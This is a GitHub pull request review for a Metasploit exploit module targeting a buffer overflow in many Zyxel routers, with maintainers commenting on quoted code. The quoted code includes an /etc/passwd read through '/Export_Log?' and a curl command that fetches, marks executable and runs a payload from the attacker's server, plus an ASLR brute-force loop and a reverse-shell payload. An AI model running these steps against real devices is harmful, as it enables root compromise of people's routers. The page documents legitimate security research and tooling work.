Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unauthenticated RCE for multiple Zyxel router #17388

Open
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

shr70
Copy link

@shr70 shr70 commented Dec 15, 2022

This request adds a new exploit module for a buffer overflow in roughly 45 different Zyxel router and VPN models.
The security advisory can be found here. A blogpost with more information has been published on the SEC Consult blog.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce
  • Set RHOST, LHOST and SRVHOST
  • Execute check
  • Execute run
  • Receive shell as root user

A video of the successfull exploitation can be found here: https://youtu.be/hbF3LEljxSA

@shr70
Copy link
Author

shr70 commented Dec 15, 2022

Added the requested changes

@jheysel-r7 jheysel-r7 self-assigned this Jan 4, 2023
This vulnerability was discovered by Steffen Robertz, Gerhard Hechenberger, Stefan Viehboeck and Thomas Weber of the SEC Consult Vulnerability Lab in Vienna.
The full writeup of all vulnerabilities is available here: [https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/]

## Vulnerable Application
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It looks like this line is a duplicate (line 1).

Suggested change
## Vulnerable Application

Also, please, could you address the issues reported by msftidy_docs.rb?

❯ ruby tools/dev/msftidy_docs.rb documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md
documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md:4 - [WARNING] Line too long (156). Consider a newline (which resolves to a space in markdown) to break it up around 140 characters.
documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md:7 - [WARNING] Line too long (158). Consider a newline (which resolves to a space in markdown) to break it up around 140 characters.
documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md:8 - [WARNING] Line too long (173). Consider a newline (which resolves to a space in markdown) to break it up around 140 characters.
documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md:30 - [WARNING] Spaces at EOL
documentation/modules/exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.md:73 - [WARNING] Spaces at EOL

'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'WfsDelay' => 15
},
'Targets' => [
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It seems the targets are only used to display a status message line 195: Attempting to exploit #{target.name}. Since the operator should already know the target name to set this option, I'm wondering if this list is needed. Targets section is useful when specific configuration options are required on different targets. Also, if the operator needs to find out if the target is supported, he can already refer to the documentation.

That said, I would suggest to just use the generic Automatic target instead of this list.

Suggested change
'Targets' => [
'Targets' => [[ 'Automatic', {} ]],

if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These checks are not covering all the cases to detect if the option is really an IPv4 or IPv6 address, and if it refers to the "This host on this network" address. The following checks using the Rex::Socket helpers are more reliable and should be used instead:

if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end

begin
res = send_request_cgi({
'uri' => '/Export_Log?/etc/passwd',
'method' => 'GET',
'rport' => datastore['RPORT']
})
if res && res.to_s['root:x:0:0:']
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
pass
end
return Exploit::CheckCode::Unknown
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It looks like the Rex::ConnectionError exceptions are already handled by send_request_raw (called by send_request_cgi) and it simply returns nil. I believe this exception handler can be removed, since it should never be reached.

rescue Rex::ConnectionError => e
vprint_error(e.to_s)
nil

Also, if res is nil, the Checkcode should be Exploit::CheckCode::Unknown instead of Exploit::CheckCode::Safe.

Here is a suggestion for this:

Suggested change
begin
res = send_request_cgi({
'uri' => '/Export_Log?/etc/passwd',
'method' => 'GET',
'rport' => datastore['RPORT']
})
if res && res.to_s['root:x:0:0:']
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
pass
end
return Exploit::CheckCode::Unknown
res = send_request_cgi({
'uri' => '/Export_Log?/etc/passwd',
'method' => 'GET',
'rport' => datastore['RPORT']
})
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Vulnerable if res.to_s['root:x:0:0:']
return CheckCode::Safe

srv_host = datastore['SRVHOST']
srv_port = datastore['SRVPORT']
@cmd_file = rand_text_alpha_lower(1)
payload_file = rand_text_alpha_lower(1)

# generate our payload executable
@payload_exe = generate_payload_exe

# Command that will download @payload_exe and execute it
download_cmd = 'curl${IFS}'
if datastore['SSL']
# https:// can't be a substring as the zyxel parser won't be able to understand the URI
download_cmd += '-k${IFS}https:`echo${IFS}//`'
end
download_cmd += "#{srv_host}:#{srv_port}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};"

http_service = "#{srv_host}:#{srv_port}"
print_status("Starting up our web service on #{http_service} ...")
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => "/#{payload_file}"
}
})

print_status('Going to bruteforce ASLR, this might take a while...')

count = 1
exploit_url = build_buffer_overflow_url(download_cmd)
timeout = 0
until @payload_sent
print_status("Trying to overflow the buffer, attempt #{count}")
send_exploit(exploit_url)
count += 1
timeout += 6

if timeout == datastore['MAX_WAIT'].to_i
fail_with(Failure::Unknown, "#{peer} - Timeout reached! You were either very unlucky or the device is not vulnerable anymore!")
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It looks like all of this could be replaced by a simple cmdstager with the curl flavor. This is the current standard and should be used as much as possible.

You can find an updated cmdstager documentation here (still a WIP PR) or the original documentation here.

Please, let us know if you need help or if you have any questions about this.

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi, I tried to change my code up in order to use the cmdstager. However, I can't figure out how to run the exploit multiple times (required, as it will bruteforce ASLR). My current idea would be to call execute_cmdstager until a new session is opened. This should be possible by polling the session count.
Is there a better option?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

After looking into the logic again, I agree that the cmdstager might be complicated to use. It might not be a good solution here. You can still call execute_cmdstager multiple time, but if you have a big payload, it will call execute_command multiple times for each call to execute_cmdstager. There might be a workaround for this, but I'm not sure it is worth the effort.

'Targets' => [
[ 'DX3301-T0 <= V5.50(ABVY.3)C0', {} ],
[ 'DX5401-B0 <= V5.17(ABYO.1)C0', {} ],
[ 'EMG3525-T50B (EMEA) <= V5.50(ABPM.6)C0', {} ],
[ 'EMG3525-T50B (S. America) <= V5.50(ABSL.0)b', {} ],
[ 'EMG5523-T50B (EMEA) <= V5.50(ABPM.6)C0', {} ],
[ 'EMG5523-T50B (S. America) <= V5.50(ABSL.0)b', {} ],
[ 'EMG5723-T50K <= V5.50(ABOM.7)C0', {} ],
[ 'EX3301-T0 <= V5.50(ABVY.3)C0', {} ],
[ 'EX5401-B0 <= V5.17(ABYO.1)C0', {} ],
[ 'EX5501-B0 <= V5.17(ABRY.2)C0', {} ],
[ 'LTE3301-PLUS <= V1.00(ABQU.3)C0', {} ],
[ 'LTE7240-M403 <= V2.00(ABMG.4)C0', {} ],
[ 'VMG1312-T20B <= V5.50(ABSB.5)C0', {} ],
[ 'VMG3625-T50B <= V5.50(ABPM.6)C0', {} ],
[ 'VMG3927-B50A <= V5.17(ABMT.6)C0', {} ],
[ 'VMG3927-B60A <= V5.17(ABMT.6)C0', {} ],
[ 'VMG3927-T50K <= V5.50(ABOM.7)C0', {} ],
[ 'VMG4005-B50A <= V5.15(ABQA.2)C0', {} ],
[ 'VMG8623-T50B <= V5.50(ABPM.6)C0', {} ],
[ 'VMG8825-B50A <= V5.17(ABMT.6)C0', {} ],
[ 'VMG8825-B50B <= V5.17(ABNY.7)C0', {} ],
[ 'VMG8825-B60A <= V5.17(ABMT.6)C0', {} ],
[ 'VMG8825-B60B <= V5.17(ABNY.7)C0', {} ],
[ 'VMG8825-T50K <= V5.50(ABOM.7)C0', {} ],
[ 'XMG3927-B50A <= V5.17(ABMT.6)C0', {} ],
[ 'XMG8825-B50A <= V5.17(ABMT.6)C0 ', {} ],
[ 'VPN2S <= V1.20(ABLN.2)_00210319C1', {} ],
[ 'AX7501-B0 <= V5.17(ABPC.1)C0', {} ],
[ 'EP240P <= V5.40(ABVH.1)C0', {} ],
[ 'PMG5317-T20B <= V5.40(ABKI.4)C0', {} ],
[ 'PMG5617GA <= V5.40(ABNA.2)C0', {} ],
[ 'PMG5622GA <= V5.40(ABNB.2)C0', {} ],
[ 'WX3100-T0 <= V5.50(ABVL.1)C0', {} ],
[ 'WX3401-B0 <= V5.17(ABVE.1)C0', {} ],
[ 'WSQ50 (Multy X) <= V2.20(ABKJ.7)C0', {} ],
[ 'WSQ60 (Multy Plus) <= V2.20(ABND.8)C0', {} ],
[ 'AMG1302-T11C <= EOL', {} ],
[ 'VMG3925-B10C <= EOL', {} ],
[ 'VMG8924-B10D <= EOL', {} ],
[ 'VMG1312-B10D <= EOL', {} ],
[ 'VMG3312-T20A <= EOL', {} ],
[ 'VMG3625-T20A <= EOL', {} ],
[ 'VMG3925-B10B <= EOL', {} ],
[ 'VMG3925-B10C <= EOL', {} ],
[ 'VMG3925-B30C <= EOL', {} ],
[ 'VMG3926-B10A <= EOL', {} ],
[ 'VMG5313-B10B <= EOL', {} ],
[ 'VMG5313-B30B <= EOL', {} ],
[ 'VMG8623-T50A <= EOL', {} ],
[ 'VMG8823-B10B <= EOL', {} ],
[ 'VMG8823-B30B <= EOL', {} ],
[ 'VMG8823-B50B <= EOL', {} ],
[ 'VMG8823-B60B <= EOL', {} ],
[ 'VMG8924-B10D <= EOL', {} ],
[ 'VMG8924-B30D <= EOL', {} ],
[ 'PMG5317-T20A <= EOL', {} ],
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These do not really add value for module execution, while they would be possible use in a search the user is unlikely to even know the model or firmware info. Since the target does change how the module will execute I would suggest only the standard Automatic or Zyxel device is really needed here.

Suggested change
'Targets' => [
[ 'DX3301-T0 <= V5.50(ABVY.3)C0', {} ],
[ 'DX5401-B0 <= V5.17(ABYO.1)C0', {} ],
[ 'EMG3525-T50B (EMEA) <= V5.50(ABPM.6)C0', {} ],
[ 'EMG3525-T50B (S. America) <= V5.50(ABSL.0)b', {} ],
[ 'EMG5523-T50B (EMEA) <= V5.50(ABPM.6)C0', {} ],
[ 'EMG5523-T50B (S. America) <= V5.50(ABSL.0)b', {} ],
[ 'EMG5723-T50K <= V5.50(ABOM.7)C0', {} ],
[ 'EX3301-T0 <= V5.50(ABVY.3)C0', {} ],
[ 'EX5401-B0 <= V5.17(ABYO.1)C0', {} ],
[ 'EX5501-B0 <= V5.17(ABRY.2)C0', {} ],
[ 'LTE3301-PLUS <= V1.00(ABQU.3)C0', {} ],
[ 'LTE7240-M403 <= V2.00(ABMG.4)C0', {} ],
[ 'VMG1312-T20B <= V5.50(ABSB.5)C0', {} ],
[ 'VMG3625-T50B <= V5.50(ABPM.6)C0', {} ],
[ 'VMG3927-B50A <= V5.17(ABMT.6)C0', {} ],
[ 'VMG3927-B60A <= V5.17(ABMT.6)C0', {} ],
[ 'VMG3927-T50K <= V5.50(ABOM.7)C0', {} ],
[ 'VMG4005-B50A <= V5.15(ABQA.2)C0', {} ],
[ 'VMG8623-T50B <= V5.50(ABPM.6)C0', {} ],
[ 'VMG8825-B50A <= V5.17(ABMT.6)C0', {} ],
[ 'VMG8825-B50B <= V5.17(ABNY.7)C0', {} ],
[ 'VMG8825-B60A <= V5.17(ABMT.6)C0', {} ],
[ 'VMG8825-B60B <= V5.17(ABNY.7)C0', {} ],
[ 'VMG8825-T50K <= V5.50(ABOM.7)C0', {} ],
[ 'XMG3927-B50A <= V5.17(ABMT.6)C0', {} ],
[ 'XMG8825-B50A <= V5.17(ABMT.6)C0 ', {} ],
[ 'VPN2S <= V1.20(ABLN.2)_00210319C1', {} ],
[ 'AX7501-B0 <= V5.17(ABPC.1)C0', {} ],
[ 'EP240P <= V5.40(ABVH.1)C0', {} ],
[ 'PMG5317-T20B <= V5.40(ABKI.4)C0', {} ],
[ 'PMG5617GA <= V5.40(ABNA.2)C0', {} ],
[ 'PMG5622GA <= V5.40(ABNB.2)C0', {} ],
[ 'WX3100-T0 <= V5.50(ABVL.1)C0', {} ],
[ 'WX3401-B0 <= V5.17(ABVE.1)C0', {} ],
[ 'WSQ50 (Multy X) <= V2.20(ABKJ.7)C0', {} ],
[ 'WSQ60 (Multy Plus) <= V2.20(ABND.8)C0', {} ],
[ 'AMG1302-T11C <= EOL', {} ],
[ 'VMG3925-B10C <= EOL', {} ],
[ 'VMG8924-B10D <= EOL', {} ],
[ 'VMG1312-B10D <= EOL', {} ],
[ 'VMG3312-T20A <= EOL', {} ],
[ 'VMG3625-T20A <= EOL', {} ],
[ 'VMG3925-B10B <= EOL', {} ],
[ 'VMG3925-B10C <= EOL', {} ],
[ 'VMG3925-B30C <= EOL', {} ],
[ 'VMG3926-B10A <= EOL', {} ],
[ 'VMG5313-B10B <= EOL', {} ],
[ 'VMG5313-B30B <= EOL', {} ],
[ 'VMG8623-T50A <= EOL', {} ],
[ 'VMG8823-B10B <= EOL', {} ],
[ 'VMG8823-B30B <= EOL', {} ],
[ 'VMG8823-B50B <= EOL', {} ],
[ 'VMG8823-B60B <= EOL', {} ],
[ 'VMG8924-B10D <= EOL', {} ],
[ 'VMG8924-B30D <= EOL', {} ],
[ 'PMG5317-T20A <= EOL', {} ],
'Targets' => [
[ 'Zyxel Device', {} ],

@jmartin-r7 jmartin-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Jan 5, 2023
@github-actions
Copy link

github-actions bot commented Jan 5, 2023

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
needs-linting The module needs additional work to pass our automated linting rules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants